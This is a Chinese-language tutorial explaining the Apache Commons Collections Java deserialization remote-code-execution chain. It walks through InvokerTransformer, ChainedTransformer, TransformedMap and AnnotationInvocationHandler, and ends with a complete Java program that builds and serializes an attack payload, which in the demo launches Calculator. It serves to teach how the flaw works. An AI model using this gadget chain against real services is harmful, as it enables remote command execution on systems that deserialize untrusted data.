Apache Commons Collections反序列化漏洞

    Collections中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer,这个类实现了:java.io.Serializable接口。2015年有研究者发现利用InvokerTransformer类的transform方法可以实现Java反序列化RCE,并提供了利用方法:CommonsCollections1.java

    InvokerTransformer类实现了org.apache.commons.collections.Transformer接口,Transformer提供了一个对象转换方法:transform,主要用于将输入对象转换为输出对象。InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例。

    InvokerTransformer类的transform方法:

    使用InvokerTransformer实现调用本地命令执行方法:

    1. public static void main(String[] args) {
    2. // 定义需要执行的本地系统命令
    3. String cmd = "open -a Calculator.app";
    4. // 构建transformer对象
    5. InvokerTransformer transformer = new InvokerTransformer(
    6. "exec", new Class[]{String.class}, new Object[]{cmd}
    7. );
    8. // 传入Runtime实例,执行对象转换操作
    9. transformer.transform(Runtime.getRuntime());
    10. }

    上述实例演示了通过InvokerTransformer的反射机制来调用java.lang.Runtime来实现命令执行,但在真实的漏洞利用场景我们是没法在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的。

    org.apache.commons.collections.functors.ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformertransform方法。

    ChainedTransformer.java:

    1. public class ChainedTransformer implements Transformer, Serializable {
    2. /** The transformers to call in turn */
    3. private final Transformer[] iTransformers;
    4. // 省去多余的方法和变量
    5. public ChainedTransformer(Transformer[] transformers) {
    6. super();
    7. iTransformers = transformers;
    8. }
    9. public Object transform(Object object) {
    10. for (int i = 0; i < iTransformers.length; i++) {
    11. object = iTransformers[i].transform(object);
    12. }
    13. return object;
    14. }
    15. }

    使用ChainedTransformer实现调用本地命令执行方法:

    上面两个Demo为我们演示了如何使用InvokerTransformer执行本地命令,现在我们也就还只剩下两个问题:

    1. 如何传入调用链。
    2. 如何调用transform方法执行本地命令。

    现在我们已经使用InvokerTransformer创建了一个含有恶意调用链的Transformer类的Map对象,紧接着我们应该思考如何才能够将调用链窜起来并执行。

    org.apache.commons.collections.map.TransformedMap类间接的实现了java.util.Map接口,同时支持对Mapkey或者value进行Transformer转换,调用decoratedecorateTransform方法就可以创建一个TransformedMap:

    1. public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    2. return new TransformedMap(map, keyTransformer, valueTransformer);
    3. }
    4. public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    5. // 省去实现代码
    6. }

    只要调用TransformedMapsetValue/put/putAll中的任意方法都会调用InvokerTransformer类的transform方法,从而也就会触发命令执行。

    使用TransformedMap类的setValue触发transform示例:

    1. public static void main(String[] args) {
    2. String cmd = "open -a Calculator.app";
    3. // 此处省去创建transformers过程,参考上面的demo
    4. // 创建ChainedTransformer调用链对象
    5. Transformer transformedChain = new ChainedTransformer(transformers);
    6. // 创建Map对象
    7. Map map = new HashMap();
    8. map.put("value", "value");
    9. // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
    10. Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
    11. // transformedMap.put("v1", "v2");// 执行put也会触发transform
    12. // 遍历Map元素,并调用setValue方法
    13. for (Object obj : transformedMap.entrySet()) {
    14. Map.Entry entry = (Map.Entry) obj;
    15. // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
    16. }
    17. System.out.println(transformedMap);
    18. }

    上述代码向我们展示了只要在Java的API中的任何一个类实现了java.io.Serializable接口,并且可以传入我们构建的TransformedMap对象还要有调用TransformedMap中的setValue/put/putAll中的任意方法一个方法的类,我们就可以在Java反序列化的时候触发InvokerTransformer类的transform方法实现RCE

    sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMapMapEntrysetValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。

    AnnotationInvocationHandler代码片段:

    上图中的第352行中的memberValuesAnnotationInvocationHandler的成员变量,memberValues的值是在var1.defaultReadObject();时反序列化生成的,它也就是我们在创建AnnotationInvocationHandler时传入的带有恶意攻击链的TransformedMap。需要注意的是如果我们想要进入到var5.setValue这个逻辑那么我们的序列化的map中的key必须包含创建AnnotationInvocationHandler时传入的注解的方法名。

    既然利用AnnotationInvocationHandler类我们可以实现反序列化RCE,那么在序列化AnnotationInvocationHandler对象的时候传入我们精心构建的包含了恶意攻击链的TransformedMap对象的序列化字节数组给远程服务,对方在反序列化AnnotationInvocationHandler类的时候就会触发整个恶意的攻击链,从而也就实现了远程命令执行了。

    创建AnnotationInvocationHandler对象:

    因为sun.reflect.annotation.AnnotationInvocationHandler是一个内部API专用的类,在外部我们无法通过类名创建出AnnotationInvocationHandler类实例,所以我们需要通过反射的方式创建出AnnotationInvocationHandler对象:

    1. // 创建Map对象
    2. Map map = new HashMap();
    3. // map的key名称必须对应创建AnnotationInvocationHandler时使用的注解方法名,比如创建
    4. // AnnotationInvocationHandler时传入的注解是java.lang.annotation.Target,那么map
    5. // 的key必须是@Target注解中的方法名,即:value,否则在反序列化AnnotationInvocationHandler
    6. // 类调用其自身实现的readObject方法时无法通过if判断也就无法通过调用到setValue方法了。
    7. map.put("value", "value");
    8. // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
    9. Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
    10. // 获取AnnotationInvocationHandler类对象
    11. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    12. // 获取AnnotationInvocationHandler类的构造方法
    13. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    14. // 设置构造方法的访问权限
    15. constructor.setAccessible(true);
    16. // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
    17. // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
    18. Object instance = constructor.newInstance(Target.class, transformedMap);

    instance对象就是我们最终用于序列化的AnnotationInvocationHandler对象,我们只需要将这个instance序列化后就可以得到用于攻击的payload了。

    完整的攻击示例Demo:

    1. package com.anbai.sec.serializes;
    2. import org.apache.commons.collections.Transformer;
    3. import org.apache.commons.collections.functors.ChainedTransformer;
    4. import org.apache.commons.collections.functors.ConstantTransformer;
    5. import org.apache.commons.collections.functors.InvokerTransformer;
    6. import org.apache.commons.collections.map.TransformedMap;
    7. import java.io.ByteArrayInputStream;
    8. import java.io.ByteArrayOutputStream;
    9. import java.io.ObjectOutputStream;
    10. import java.lang.annotation.Target;
    11. import java.lang.reflect.Constructor;
    12. import java.util.Arrays;
    13. import java.util.HashMap;
    14. import java.util.Map;
    15. /**
    16. * Creator: yz
    17. * Date: 2019/12/16
    18. */
    19. public class CommonsCollectionsTest {
    20. public static void main(String[] args) {
    21. String cmd = "open -a Calculator.app";
    22. Transformer[] transformers = new Transformer[]{
    23. new ConstantTransformer(Runtime.class),
    24. new InvokerTransformer("getMethod", new Class[]{
    25. String.class, Class[].class}, new Object[]{
    26. "getRuntime", new Class[0]}
    27. ),
    28. new InvokerTransformer("invoke", new Class[]{
    29. Object.class, Object[].class}, new Object[]{
    30. null, new Object[0]}
    31. ),
    32. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
    33. };
    34. Transformer transformedChain = new ChainedTransformer(transformers);
    35. // 创建Map对象
    36. Map map = new HashMap();
    37. map.put("value", "value");
    38. // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
    39. Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
    40. // // 遍历Map元素,并调用setValue方法
    41. // for (Object obj : transformedMap.entrySet()) {
    42. // Map.Entry entry = (Map.Entry) obj;
    43. //
    44. // // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
    45. // entry.setValue("test");
    46. // }
    47. //
    48. //// transformedMap.put("v1", "v2");// 执行put也会触发transform
    49. try {
    50. // 获取AnnotationInvocationHandler类对象
    51. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    52. // 获取AnnotationInvocationHandler类的构造方法
    53. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    54. // 设置构造方法的访问权限
    55. constructor.setAccessible(true);
    56. // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
    57. // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
    58. Object instance = constructor.newInstance(Target.class, transformedMap);
    59. // 创建用于存储payload的二进制输出流对象
    60. ByteArrayOutputStream baos = new ByteArrayOutputStream();
    61. // 创建Java对象序列化输出流对象
    62. ObjectOutputStream out = new ObjectOutputStream(baos);
    63. // 序列化AnnotationInvocationHandler类
    64. out.writeObject(instance);
    65. out.flush();
    66. out.close();
    67. // 获取序列化的二进制数组
    68. byte[] bytes = baos.toByteArray();
    69. // 输出序列化的二进制数组
    70. System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));
    71. // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
    72. ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
    73. // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
    74. ObjectInputStream in = new ObjectInputStream(bais);
    75. // 模拟远程的反序列化过程
    76. in.readObject();
    77. // 关闭ObjectInputStream输入流
    78. in.close();
    79. } catch (Exception e) {
    80. e.printStackTrace();
    81. }
    82. }
    83. }

    反序列化RCE调用链如下: